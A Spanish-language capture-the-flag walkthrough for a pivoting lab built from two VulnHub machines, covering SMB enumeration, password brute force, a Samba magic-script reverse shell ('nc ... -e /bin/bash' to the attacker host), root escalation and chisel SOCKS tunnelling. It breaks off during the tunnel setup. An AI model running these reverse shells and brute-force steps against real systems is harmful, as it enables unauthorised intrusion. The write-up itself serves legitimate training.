Pivoting - Primer Lab

Dh89Dh89
36 min read


Explicacion del Laboratorio

Este laboratorio está diseñado para practicar pivoting; vamos a estar vulnerando 2 máquinas de VulnHub.

  • Crossroad

  • SecureCode

Donde existen 2 redes, la máquina Crossroad 1 simulará la primera red. Esta tiene una segunda red donde tiene conexión con la máquina SecureCode 2, simulando la segunda red.

Observaciones

En este caso no estaré utilizando la herramienta de ligolo-ng; para el siguiente laboratorio utilizaremos esta herramienta, para que vean cómo facilita el trabajo de conexiones.

En caso de querer preparar/montar estos tipos de laboratorios de forma local para practicar, subiré la forma de cómo preparar estos tipos de laboratorios en un futuro.

También para futuros laboratorios, vamos a introducir máquinas Windows y Linux mezcladas en un mismo laboratorio.

Skills

### Crossroads
- Magic script - Samba -> RCE
- Stenography Analysis / Stegoveritas tool
- rpcclient SAMBA enum
- SAMBA password brute force
- Brute Force Password root / Custom Binary
### Securecode
- Chisel / Socat pivoting Tools
- Fuzing obtain backup
- SQLI Blind Web Code Response Based
- Bypass file upload -> RCE.

Reconocimiento - Crossroad

Para empezar como siempre nos creamos nuestros directorios de trabajo

mkdir -p Crossroad/nmap
cd Crossroad
mkdir content exploit
cd nmap

Luego vamos a proseguir con el escaneo de puertos, para ver qué servicios están expuestos en la máquina Crossroad.

Voy a usar un script automático que creé hace poco para la enumeración.

./autoscan.sh -i 192.168.0.26 -n

[+] Realizando escaneo con nmap, IP: 192.168.0.26


[+]Escaneo de nmap sobre la ip: 192.168.0.26 - Puertos: 80,139,445

Como se puede apreciar, vemos los puertos 80, 139 y 445.

# Nmap 7.93 scan initiated Fri Jul 25 19:54:39 2025 as: nmap -p80,139,445 -sCV -oN targeted 192.168.0.26
Nmap scan report for 192.168.0.26
Host is up (0.016s latency).

PORT    STATE SERVICE     VERSION
80/tcp  open  http        Apache httpd 2.4.38 ((Debian))
| http-robots.txt: 1 disallowed entry 
|_/crossroads.png
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: 12 Step Treatment Center | Crossroads Centre Antigua
139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open  netbios-ssn Samba smbd 4.9.5-Debian (workgroup: WORKGROUP)
MAC Address: D8:F3:BC:4D:AC:A3 (Liteon Technology)
Service Info: Host: CROSSROADS

Host script results:
|_clock-skew: mean: 1h39m59s, deviation: 2h53m12s, median: 0s
| smb-os-discovery: 
|   OS: Windows 6.1 (Samba 4.9.5-Debian)
|   Computer name: crossroads
|   NetBIOS computer name: CROSSROADS\x00
|   Domain name: \x00
|   FQDN: crossroads
|_  System time: 2025-07-25T17:55:04-05:00
| smb2-time: 
|   date: 2025-07-25T22:55:04
|_  start_date: N/A
|_nbstat: NetBIOS name: CROSSROADS, NetBIOS user: <unknown>, NetBIOS MAC: 000000000000 (Xerox)
| smb2-security-mode: 
|   311: 
|_    Message signing enabled but not required
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Jul 25 19:55:04 2025 -- 1 IP address (1 host up) scanned in 25.25 seconds

Vemos una página web 80 y un servicio de Samba en el puerto 445.

Vamos a revisar cómo se ve la web.

Parece ser una agencia que se encarga de ayudar a las personas con diversas adicciones.

Vamos a realizar un WhatWeb para ver las tecnologías que utiliza.

whatweb http://192.168.0.26                        
http://192.168.0.26 [200 OK] AddThis, Apache[2.4.38], Bootstrap, Country[RESERVED][ZZ], Frame, Google-Analytics[Universal][UA-15284593-1], HTML5, HTTPServer[Debian Linux][Apache/2.4.38 (Debian)], IP[192.168.0.26], JQuery[3.3.1], Open-Graph-Protocol[website], Script[application/ld+json,text/javascript], Title[12 Step Treatment Center | Crossroads Centre Antigua], WordPress, YouTube

Vemos bastante información, vemos WordPress, jQuery, etc.

Vamos a realizar fuzzing para ver qué directorios nos encontramos.

ffuf -c -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u "http://192.168.0.26/FUZZ"

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://192.168.0.26/FUZZ
 :: Wordlist         : FUZZ: /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

# license, visit http://creativecommons.org/licenses/by-sa/3.0/ [Status: 200, Size: 93075, Words: 6250, Lines: 1057, Duration: 19ms]
# Attribution-Share Alike 3.0 License. To view a copy of this [Status: 200, Size: 93075, Words: 6250, Lines: 1057, Duration: 22ms]
#                       [Status: 200, Size: 93075, Words: 6250, Lines: 1057, Duration: 16ms]
#                       [Status: 200, Size: 93075, Words: 6250, Lines: 1057, Duration: 12ms]
# directory-list-2.3-medium.txt [Status: 200, Size: 93075, Words: 6250, Lines: 1057, Duration: 13ms]
#                       [Status: 200, Size: 93075, Words: 6250, Lines: 1057, Duration: 20ms]
# Copyright 2007 James Fisher [Status: 200, Size: 93075, Words: 6250, Lines: 1057, Duration: 25ms]
# This work is licensed under the Creative Commons [Status: 200, Size: 93075, Words: 6250, Lines: 1057, Duration: 18ms]
# on at least 2 different hosts [Status: 200, Size: 93075, Words: 6250, Lines: 1057, Duration: 683ms]
                        [Status: 200, Size: 93075, Words: 6250, Lines: 1057, Duration: 689ms]
# Suite 300, San Francisco, California, 94105, USA. [Status: 200, Size: 93075, Words: 6250, Lines: 1057, Duration: 917ms]
# Priority ordered case-sensitive list, where entries were found [Status: 200, Size: 93075, Words: 6250, Lines: 1057, Duration: 1243ms]
# or send a letter to Creative Commons, 171 Second Street, [Status: 200, Size: 93075, Words: 6250, Lines: 1057, Duration: 1298ms]
#                       [Status: 200, Size: 93075, Words: 6250, Lines: 1057, Duration: 1305ms]
                        [Status: 200, Size: 93075, Words: 6250, Lines: 1057, Duration: 50ms]
server-status           [Status: 403, Size: 277, Words: 20, Lines: 10, Duration: 11ms]

Vemos un server-status; vamos a ver si existe contenido compartido por Samba en el puerto 445.

smbclient --no-pass --user '' --list 192.168.0.26 

    Sharename       Type      Comment
    ---------       ----      -------
    print$          Disk      Printer Drivers
    smbshare        Disk      
    IPC$            IPC       IPC Service (Samba 4.9.5-Debian)

Vemos algunos recursos, pero no tienen nada interesante; nos podemos conectar con rpcclient y vemos un usuario.

rpcclient -U '' -N "192.168.0.26" 
rpcclient $> enumdomusers
user:[albert] rid:[0x3e9]
rpcclient $> queryuser 0x3e9
    User Name   :    albert
    Full Name   :    
    Home Drive  :    \\crossroads\albert
    Dir Drive   :    
    Profile Path:    \\crossroads\albert\profile
    Logon Script:    
    Description :    
    Workstations:    
    Comment     :    
    Remote Dial :
    Logon Time               :    Wed, 31 Dec 1969 20:00:00 -04
    Logoff Time              :    Wed, 06 Feb 2036 12:06:39 -03
    Kickoff Time             :    Wed, 06 Feb 2036 12:06:39 -03
    Password last set Time   :    Tue, 02 Mar 2021 20:13:00 -03
    Password can change Time :    Tue, 02 Mar 2021 20:13:00 -03
    Password must change Time:    Wed, 13 Sep 30828 23:48:05 -03
    unknown_2[0..31]...
    user_rid :    0x3e9
    group_rid:    0x201
    acb_info :    0x00000010
    fields_present:    0x00ffffff
    logon_divs:    168
    bad_password_count:    0x00000000
    logon_count:    0x00000000
    padding1[0..7]...
    logon_hrs[0..21]...
rpcclient $> netshareenumall
netname: print$
    remark:    Printer Drivers
    path:    C:\var\lib\samba\printers
    password:    
netname: smbshare
    remark:    
    path:    C:\home\albert\smbshare
    password:    
netname: IPC$
    remark:    IPC Service (Samba 4.9.5-Debian)
    path:    C:\tmp
    password:

Vemos la estructura de las carpetas compartidas y vemos el usuario albert.

Luego de intentar varias cosas, reviso el crossroads.png que nos detectó el nmap por medio del robots.txt.

En los ctfs, suele llamar la atención tener una imagen en la raíz de la web; seguramente tenga información oculta.

Luego de probar varias herramientas para detectar información en una imagen, me encuentro con la siguiente → Stegovita.

El cual dejó correr por un rato y parece encontrar un archivo zip.

stegoveritas crossroads.png
Running Module: SVImage
+---------------------------+------+
|        Image Format       | Mode |
+---------------------------+------+
| Portable network graphics | RGB  |
+---------------------------+------+
Found something worth keeping!
MPEG ADTS, layer III, v1, 80 kbps, Monaural
Running Module: MultiHandler

Found something worth keeping!
PNG image data, 1106 x 876, 8-bit/color RGB, non-interlaced
+--------+------------------+-------------------------------------------+-----------+
| Offset | Carved/Extracted | Description                               | File Name |
+--------+------------------+-------------------------------------------+-----------+
| 0x69f  | Carved           | Zlib compressed data, default compression | 69F.zlib  |
| 0x69f  | Extracted        | Zlib compressed data, default compression | 69F       |
+--------+------------------+-------------------------------------------+-----------+
Exif
====
+----------------------+--------------------------------------------------------------------------------------------------+
| key                  | value                                                                                            |
+----------------------+--------------------------------------------------------------------------------------------------+
| SourceFile           | /workspace/Pivoting/Crossroad/content/crossroads.png                                             |
| ExifToolVersion      | 12.57                                                                                            |
| FileName             | crossroads.png                                                                                   |
| Directory            | /workspace/Pivoting/Crossroad/content                                                            |
| FileSize             | 1100 kB                                                                                          |
| FileModifyDate       | 2021:03:02 19:05:35-03:00                                                                        |
| FileAccessDate       | 2025:08:06 07:27:34-03:00                                                                        |
| FileInodeChangeDate  | 2025:07:26 20:23:11-03:00                                                                        |
| FilePermissions      | -rw-rw----                                                                                       |
| FileType             | PNG                                                                                              |
| FileTypeExtension    | png                                                                                              |
| MIMEType             | image/png                                                                                        |
| ImageWidth           | 1106                                                                                             |
| ImageHeight          | 876                                                                                              |
| BitDepth             | 8                                                                                                |
| ColorType            | RGB                                                                                              |
| Compression          | Deflate/Inflate                                                                                  |
| Filter               | Adaptive                                                                                         |
| Interlace            | Noninterlaced                                                                                    |
| PixelsPerUnitX       | 2835                                                                                             |
| PixelsPerUnitY       | 2835                                                                                             |
| PixelUnits           | meters                                                                                           |
| XMPToolkit           | Adobe XMP Core 5.6-c142 79.160924, 2017/07/13-01:06:39                                           |
| CreatorTool          | Adobe Photoshop CC 2018 (Windows)                                                                |
| CreateDate           | 2021:03:03 01:05:34+03:00                                                                        |
| MetadataDate         | 2021:03:03 01:05:34+03:00                                                                        |
| ModifyDate           | 2021:03:03 01:05:34+03:00                                                                        |
| InstanceID           | xmp.iid:4204c92b-8096-1f44-95a6-bea1cf3b10b1                                                     |
| DocumentID           | adobe:docid:photoshop:332b0d56-e404-b344-995b-0552ba0e91fc                                       |
| OriginalDocumentID   | xmp.did:099252d2-406b-7a48-8f06-3b7f7410f183                                                     |
| ColorMode            | RGB                                                                                              |
| Format               | image/png                                                                                        |
| HistoryAction        | ['created', 'saved']                                                                             |
| HistoryInstanceID    | ['xmp.iid:099252d2-406b-7a48-8f06-3b7f7410f183', 'xmp.iid:4204c92b-8096-1f44-95a6-bea1cf3b10b1'] |
| HistoryWhen          | ['2021:03:03 01:05:34+03:00', '2021:03:03 01:05:34+03:00']                                       |
| HistorySoftwareAgent | ['Adobe Photoshop CC 2018 (Windows)', 'Adobe Photoshop CC 2018 (Windows)']                       |
| HistoryChanged       | /                                                                                                |
| DocumentAncestors    | F35C96A263F2934D8C732E0185DBC23E                                                                 |
| ImageSize            | 1106x876                                                                                         |
| Megapixels           | 0.969                                                                                            |
+----------------------+--------------------------------------------------------------------------------------------------+
XMPP
====
+----------------------------------------+--------------------------------------------------------------+
|                  key                   |                            value                             |
+----------------------------------------+--------------------------------------------------------------+
|           'xmp:CreatorTool'            |             'Adobe Photoshop CC 2018 (Windows)'              |
|            'xmp:CreateDate'            |                 '2021-03-03T01:05:34+03:00'                  |
|           'xmp:MetadataDate'           |                 '2021-03-03T01:05:34+03:00'                  |
|            'xmp:ModifyDate'            |                 '2021-03-03T01:05:34+03:00'                  |
|           'xmpMM:InstanceID'           |        'xmp.iid:4204c92b-8096-1f44-95a6-bea1cf3b10b1'        |
|           'xmpMM:DocumentID'           | 'adobe:docid:photoshop:332b0d56-e404-b344-995b-0552ba0e91fc' |
|       'xmpMM:OriginalDocumentID'       |        'xmp.did:099252d2-406b-7a48-8f06-3b7f7410f183'        |
|            'xmpMM:History'             |                              ''                              |
|           'xmpMM:History[1]'           |                              ''                              |
|    'xmpMM:History[1]/stEvt:action'     |                          'created'                           |
|  'xmpMM:History[1]/stEvt:instanceID'   |        'xmp.iid:099252d2-406b-7a48-8f06-3b7f7410f183'        |
|     'xmpMM:History[1]/stEvt:when'      |                 '2021-03-03T01:05:34+03:00'                  |
| 'xmpMM:History[1]/stEvt:softwareAgent' |             'Adobe Photoshop CC 2018 (Windows)'              |
|           'xmpMM:History[2]'           |                              ''                              |
|    'xmpMM:History[2]/stEvt:action'     |                           'saved'                            |
|  'xmpMM:History[2]/stEvt:instanceID'   |        'xmp.iid:4204c92b-8096-1f44-95a6-bea1cf3b10b1'        |
|     'xmpMM:History[2]/stEvt:when'      |                 '2021-03-03T01:05:34+03:00'                  |
| 'xmpMM:History[2]/stEvt:softwareAgent' |             'Adobe Photoshop CC 2018 (Windows)'              |
|    'xmpMM:History[2]/stEvt:changed'    |                             '/'                              |
|         'photoshop:ColorMode'          |                             '3'                              |
|     'photoshop:DocumentAncestors'      |                              ''                              |
|    'photoshop:DocumentAncestors[1]'    |              'F35C96A263F2934D8C732E0185DBC23E'              |
|              'dc:format'               |                         'image/png'                          |
+----------------------------------------+--------------------------------------------------------------+
ls
crossroads.png  results  stegoVeritas
cd results/keepers 
ls
1754485771.5929751-79b4d1696d3daa931d994e6c8ff3bcbc  69F 
1754485848.7338853-e141a773742528eeded2c24b53183913  69F.zlib
1854610042.114s957-3161a756330490eac297cc43f23494c7

Voy a descomprimirlo para ver qué contiene, el 69F.zlib.

zlib-flate -uncompress < 69F.zlib > decompressed
ls
1754485771.5929751-79b4d1696d3daa931d994e6c8ff3bcbc  69F       decompressed
1754485848.7338853-e141a773742528eeded2c24b53183913  69F.zlib
1854610042.114s957-3161a756330490eac297cc43f23494c7
file decompressed 
decompressed: data

Veo que el tipo es data, lo analizo con Ghidra, pero no encuentro nada interesante.

Hice enumeración con rpcclient mientras analizaba el binario; tenía el usuario albert, pero no la contraseña. Probé con varias formas de realizar fuerza bruta con netexec, hydra, medusa, etc.

Pero solo funcionó con un módulo auxiliar de Metasploit, por eso es importante probar el mismo ataque con varias herramientas distintas o con la misma varias veces.

msfconsole                                        
Metasploit tip: Use the edit command to open the currently active module 
in your editor


         .                                         .
 .

      dBBBBBBb  dBBBP dBBBBBBP dBBBBBb  .                       o
       '   dB'                     BBP
    dB'dB'dB' dBBP     dBP     dBP BB
   dB'dB'dB' dBP      dBP     dBP  BB
  dB'dB'dB' dBBBBP   dBP     dBBBBBBB

                                   dBBBBBP  dBBBBBb  dBP    dBBBBP dBP dBBBBBBP
          .                  .                  dB' dBP    dB'.BP
                             |       dBP    dBBBB' dBP    dB'.BP dBP    dBP
                           --o--    dBP    dBP    dBP    dB'.BP dBP    dBP
                             |     dBBBBP dBP    dBBBBP dBBBBP dBP    dBP

                                                                    .
                .
        o                  To boldly go where no
                            shell has gone before


       =[ metasploit v6.4.33-dev-4422322                  ]
+ -- --=[ 2459 exploits - 1266 auxiliary - 430 post       ]
+ -- --=[ 1468 payloads - 49 encoders - 11 nops           ]
+ -- --=[ 9 evasion                                       ]

Metasploit Documentation: https://docs.metasploit.com/

msf6 > search smb_login

Matching Modules
================

   #  Name                             Disclosure Date  Rank    Check  Description
   -  ----                             ---------------  ----    -----  -----------
   0  auxiliary/scanner/smb/smb_login  .                normal  No     SMB Login Check Scanner


Interact with a module by name or index. For example info 0, use 0 or use auxiliary/scanner/smb/smb_login

msf6 > use 0
[*] New in Metasploit 6.4 - The CreateSession option within this module can open an interactive session
msf6 auxiliary(scanner/smb/smb_login) >options

Module options (auxiliary/scanner/smb/smb_login):

   Name               Current Setting  Required  Description
   ----               ---------------  --------  -----------
   ABORT_ON_LOCKOUT   false            yes       Abort the run when an account lockout is detected
   ANONYMOUS_LOGIN    false            yes       Attempt to login with a blank username and password
   BLANK_PASSWORDS    false            no        Try blank passwords for all users
   BRUTEFORCE_SPEED   5                yes       How fast to bruteforce, from 0 to 5
   CreateSession      false            no        Create a new session for every successful login
   DB_ALL_CREDS       false            no        Try each user/password couple stored in the current database
   DB_ALL_PASS        false            no        Add all passwords in the current database to the list
   DB_ALL_USERS       false            no        Add all users in the current database to the list
   DB_SKIP_EXISTING   none             no        Skip existing credentials stored in the current database (Accepted:
                                                  none, user, user&realm)
   DETECT_ANY_AUTH    false            no        Enable detection of systems accepting any authentication
   DETECT_ANY_DOMAIN  false            no        Detect if domain is required for the specified user
   PASS_FILE                           no        File containing passwords, one per line
   PRESERVE_DOMAINS   true             no        Respect a username that contains a domain name.
   Proxies                             no        A proxy chain of format type:host:port[,type:host:port][...]
   RECORD_GUEST       false            no        Record guest-privileged random logins to the database
   RHOSTS                              yes       The target host(s), see https://docs.metasploit.com/docs/using-meta
                                                 sploit/basics/using-metasploit.html
   RPORT              445              yes       The SMB service port (TCP)
   SMBDomain          .                no        The Windows domain to use for authentication
   SMBPass                             no        The password for the specified username
   SMBUser                             no        The username to authenticate as
   STOP_ON_SUCCESS    false            yes       Stop guessing when a credential works for a host
   THREADS            1                yes       The number of concurrent threads (max one per host)
   USERPASS_FILE                       no        File containing users and passwords separated by space, one pair pe
                                                 r line
   USER_AS_PASS       false            no        Try the username as the password for all users
   USER_FILE                           no        File containing usernames, one per line
   VERBOSE            true             yes       Whether to print output for all attempts


View the full module info with the info, or info -d command.

msf6 auxiliary(scanner/smb/smb_login) > set RHOSTS 192.168.0.26
RHOSTS => 192.168.0.26
msf6 auxiliary(scanner/smb/smb_login) > set PASS_FILE /usr/share/wordlists/rockyou.txt
PASS_FILE => /usr/share/wordlists/rockyou.txt
msf6 auxiliary(scanner/smb/smb_login) > set SMBUser albert
SMBUser => albert
msf6 auxiliary(scanner/smb/smb_login) > run

Luego de un rato veo lo siguiente:

[-] 192.168.0.26:445      - 192.168.0.26:445 - Failed: '.\albert:smile4me',
[-] 192.168.0.26:445      - 192.168.0.26:445 - Failed: '.\albert:sherman',
[-] 192.168.0.26:445      - 192.168.0.26:445 - Failed: '.\albert:glenn',
[-] 192.168.0.26:445      - 192.168.0.26:445 - Failed: '.\albert:gabby1',
[-] 192.168.0.26:445      - 192.168.0.26:445 - Failed: '.\albert:family5',
[-] 192.168.0.26:445      - 192.168.0.26:445 - Failed: '.\albert:eddie1',
[-] 192.168.0.26:445      - 192.168.0.26:445 - Failed: '.\albert:dodgers',
[-] 192.168.0.26:445      - 192.168.0.26:445 - Failed: '.\albert:cheska',
[+] 192.168.0.26:445      - 192.168.0.26:445 - Success: '.\albert:bradley1'

Por tanto, tenemos una contraseña; vamos a listar el contenido para ver si tenemos más permisos con smbmap.

smbmap -H 192.168.0.26 -u albert -p bradley1

[+] IP: 192.168.0.26:445    Name: crossroadsantigua.org    Status: Authenticated
    Disk                                                      Permissions    Comment
    ----                                                      -----------    -------
    print$                                                READ ONLY    Printer Drivers
    smbshare                                              READ, WRITE    
    IPC$                                                  NO ACCESS    IPC Service (Samba 4.9.5-Debian)
    albert                                                READ ONLY    Home Directories

Veo que tengo acceso ahora a smbshare; vamos a echarle un vistazo.

smbclient --password=bradley1 -U "albert" \\\\192.168.0.26\\smbshare       
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Thu Aug  7 18:49:15 2025
  ..                                  D        0  Sat Mar  6 09:45:15 2021
  smb.conf                            N     8779  Tue Mar  2 19:14:54 2021

Veo un smb.conf, vamos a ver qué es.

Veo ciertas configuraciones, pero me llama la atención lo siguiente:

[smbshare]
path = /home/albert/smbshare
valid users = albert
browsable = yes
writable = yes
read only = no
@ = smbscript.sh
guest ok = no

Hay un “magic script“, smbscript.sh.

Vamos a revisar la otra carpeta compartida de nombre Albert.

smbclient --password=bradley1 -U "albert" \\\\192.168.0.26\\albert  
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Sat Mar  6 09:45:15 2021
  ..                                  D        0  Tue Mar  2 19:00:47 2021
  smbshare                            D        0  Thu Aug  7 19:05:08 2025
  crossroads.png                      N  1583196  Tue Mar  2 19:34:03 2021
  beroot                              N    16664  Tue Mar  2 20:02:41 2021
  user.txt                            N     1805  Sun Jan  3 14:56:19 2021

        4000320 blocks of size 1024. 3759668 blocks available

Vemos un user.txt, que es la primera flag. Luego vemos la otra carpeta smbshare y la imagen crossroads.png.

Hay otro archivo beroot. Vamos a analizarlo para ver qué es.

smb: \> get beroot 
getting file \beroot of size 16664 as beroot (428.2 KiloBytes/sec) (average 428.2 KiloBytes/sec)
file beroot  
beroot: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=c1da1f0fded1889d32e27b99a2a4bd170c30349b, for GNU/Linux 3.2.0, not stripped

Parece ser un binario para Linux; voy a darle permisos de ejecución y analizarlo para ver qué hace.
Intento analizarlo con ltrace o strace, pero necesita librerías y el programa no se ejecuta.

Así que vamos a realizar un análisis con Ghidra.

Pero no encuentro mucho, parece que ejecuta un binario en el escritorio de root, por tanto, mucho no se puede analizar.

Vamos a acceder nuevamente a la carpeta de smbshare.

smbclient --password=bradley1 -U "albert" \\\\192.168.0.26\\smbshare
smb: \>

Si investigamos sobre los “magic scripts“, vemos que, si los ponemos en la carpeta compartida que corresponde con el nombre, se ejecutan.

Por tanto, voy a crear el archivo smbscript.sh con el contenido de una reverse shell y subirlo a la máquina.

nc 192.168.0.9 4444 -e /bin/bash
nc -nlvp 4444
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 192.168.0.26.
Ncat: Connection from 192.168.0.26:45790.
whoami
albert

Tenemos acceso como albert; ahora toca escalar privilegios.

Escalada de Privilegios - Crossroads

python -c 'import pty;pty.spawn("/bin/bash")'
albert@crossroads:/home/albert/smbshare$
albert@crossroads:/home/albert$ ./beroot
enter password for root
-----------------------

password:

Veo que nos pide una contraseña; este es el script que se está ejecutando en /root.

Como no tengo acceso al directorio /root, no puedo descargar el binario para analizarlo.

Luego de revisar nuevamente lo que la herramienta StegoVeritas pudo obtener de la imagen.

Veo que hay un archivo que es un diccionario.

file ./*                   
./1754610042.1145957-3161a755130490eac2f7cc43f23494c7: MPEG ADTS, layer III, v1, 80 kbps, Monaural
./1754610110.05314-6f3ed02dad7e2f978584cfdf66dbbf51:   PNG image data, 1106 x 876, 8-bit/color RGB, non-interlaced
./1854610042.114s957-3161a756330490eac297cc43f23494c7: Unicode text, UTF-8 text
./69F:                                                 empty
./69F.zlib:                                            zlib compressed data

En este caso, el 1854610042.114s957-3161a756330490eac297cc43f23494c7.

Por tanto, quizás esté ahí la contraseña; para no probar uno a uno, podríamos automatizar el proceso.

import subprocess
import sys


with open("dic.txt","r",encoding='ISO.8859.1') as fs:
    var= fs.read().splitlines()
for li in var:
    var1= li
    result= subprocess.getoutput("echo %s | ./beroot"%var1)
    print("testing password "+ var1)
    if "wrong password!!!" not in str(result):
        print(result)
        print("the password is: "+ var1)
        sys.exit(0)

Con esto debemos renombrar el diccionario a “dic.txt“ y luego subirlo a la máquina junto con el exploit.py.

python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
albert@crossroads:/home/albert$ wget http://192.168.0.9/dic.txt
albert@crossroads:/home/albert$ wget http://192.168.0.9/exploit.py

Luego de tener los dos archivos, ejecutamos el exploit.py.

albert@crossroads:/home/albert$p python3 exploit.py
testing password twenty
testing password tommie
testing password sandman
testing password panchito
testing password nicole3
testing password munchie
testing password marcella
testing password lemuel
TERM environment variable not set.
enter password for root
-----------------------

do ls and find root creds
the password is: lemuel

Parece ser que la contraseña es lemuel, nos dice que hagamos un ls.

ls
beroot    crossroads.png    dic.txt  exploit.py  rootcreds    smbshare  user.txt

Vemos un nuevo archivo llamado rootcreds.

albert@crossroads:/home/albert$ cat rootcreds
root
___drifting___

Parece que la contraseña de root es ___drifting___. Vamos a comprobarlo.

su root
Password: ___drifting___

root@crossroads:/home/albert# whoami
root

Y terminamos la primera máquina.

Comentarios - Crossroads.

La máquina no estuvo mal; practiqué temas de esteganografía y cómo obtener info en lugares ocultos.

Después, muy curioso el tema de “magic script” y el resto ya fue fuerza bruta.

Continuamos - SecureCode

Debido a que tenemos una forma sencilla de ganar acceso (al tener la contraseña de root).

Simplemente voy a enviarme una consola y recibirla con pwncat, para trabajar más cómodamente.

pwncat-cs :4446
albert@crossroads:/home/albert$ nc 192.168.0.9 4445 -e /bin/bash
(remote) root@crossroads:/root# ls
beroot.sh  creds  passwd  root.txt

Luego de vulnerar la máquina Crossroads, vamos a revisar sus interfaces de red.

ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
2: enp0s3: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
    link/ether 08:00:27:3d:a1:bc brd ff:ff:ff:ff:ff:ff
    inet 192.168.0.26/24 brd 192.168.0.255 scope global dynamic enp0s3
       valid_lft 3553sec preferred_lft 3553sec
    inet6 ::a00:27ff:fe3d:a1bc/64 scope global dynamic mngtmpaddr 
       valid_lft 3598sec preferred_lft 3598sec
    inet6 fe80::a00:27ff:fe3d:a1bc/64 scope link 
       valid_lft forever preferred_lft forever
3: enp0s8: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
    link/ether 08:00:27:af:1f:d2 brd ff:ff:ff:ff:ff:ff
    inet 192.168.100.10/24 brd 192.168.100.255 scope global enp0s8
       valid_lft forever preferred_lft forever
    inet6 fe80::a00:27ff:feaf:1fd2/64 scope link 
       valid_lft forever preferred_lft forever

Vemos que existe otra interfaz de red, la enp0s8.

Aquí es donde empieza la segunda parte del laboratorio y toca vulnerar la segunda máquina.

Creando Puente Crossroads - Securecode

Como directamente no podemos acceder a la segunda máquina del laboratorio (Securecode).

Vamos a utilizar como intermediario a Crossroads, que sí tiene conexión con la máquina Securecode.

Primero vamos a realizar un escaneo de la red con ping. Con un script básico en bash.

Podemos pasar también un compilado de Nmap, entre otras formas, para descubrir más hosts en la red 192.168.100.0.

#!/bin/bash

trap ctrl_c INT

function ctrl_c(){
    echo -e "\n\n[!] Saliendo...\n"
    exit 0
}

for i in $(seq 1 254); do
    (timeout 1 ping -c 1 192.168.100.$i) &>/dev/null && echo "[+] Active: 192.168.100.$i "
done

Luego le damos permisos de ejecución y lo ejecutamos (luego de pasar el archivo a la máquina).

./scan.sh 
[+] Active: 192.168.100.10 
[+] Active: 192.168.100.20 
^C

[!] Saliendo...

Como vemos, hay otra máquina en la 192.168.100.20, a la cual no tenemos acceso directamente.

Para crear el túnel, vamos a usar → chisel. Una herramienta diseñada para crear túneles UDP/TCP.

Primero nos descargamos el repositorio para luego compilarlo y, luego, lo subimos a la máquina.

git clone https://github.com/jpillora/chisel.git
cd chisel
go build .
ls
chisel  client  example  go.mod  go.sum  LICENSE  main.go  Makefile  README.md  server  share  test

Ahí tenemos el chisel; yo, como estoy usando pwncat, simplemente tengo que usar upload y el nombre del archivo, pero hay muchas formas de transferir archivos de una máquina a la otra.

En el caso de que el binario sea muy pesado, pueden usar UPX para reducir su peso.

/root# ls
beroot.sh  chisel  creds  passwd  root.txt  scan.sh

Una vez que tenemos el chisel en la máquina víctima, necesitamos ejecutar el binario como servidor en la máquina víctima (Crossroads) y como cliente en nuestra máquina de atacante.

./chisel server -v -p 1234 --socks5
./chisel: /lib/x86_64-linux-gnu/libc.so.6: version `GLIBC_2.34' not found (required by ./chisel)
./chisel: /lib/x86_64-linux-gnu/libc.so.6: version `GLIBC_2.32' not found (required by ./chisel

Vemos un error de GLIBC_2.32; en caso de que le suceda lo mismo, pueden descargarse un release del binario ya compilado de GitHub más antiguo y debería funcionar.

./chisel server -v -p 1234 --socks5
2025/08/09 09:12:20 server: Fingerprint IN40VRFPzeDz/mMmFU6rt7CKMN6Nu5/5Bao4YX0UKvE=
2025/08/09 09:12:20 server: Listening on http://0.0.0.0:1234

En este caso, yo voy a jugar con SOCKS5 para luego, con proxychains, acceder a la otra máquina, a la que en primera instancia no tengo acceso.

./chisel64 client -v 192.168.0.26:1234 socks
2025/08/09 07:18:32 client: Connecting to ws://192.168.0.9:1234
2025/08/09 07:18:32 client: tun: proxy#127.0.0.1:1080=>socks: Listening
2025/08/09 07:18:32 client: tun: Bound proxies
2025/08/09 07:18:32 client: Handshaking...
2025/08/09 07:18:32 client: Sending config
2025/08/09 07:18:32 client: Connected (Latency 4.188901ms)
2025/08/09 07:18:32 client: tun: SSH connected

Y ahí ya funciona, con el binario antiguo.

./chisel server -v -p 1234 --socks5
2025/08/09 09:12:20 server: Fingerprint IN40VRFPzeDz/mMmFU6rt7CKMN6Nu5/5Bao4YX0UKvE=
2025/08/09 09:12:20 server: Listening on http://0.0.0.0:1234
2025/08/09 09:18:32 server: session#1: Handshaking with 192.168.0.26:45436...
2025/08/09 09:18:32 server: session#1: Verifying configuration
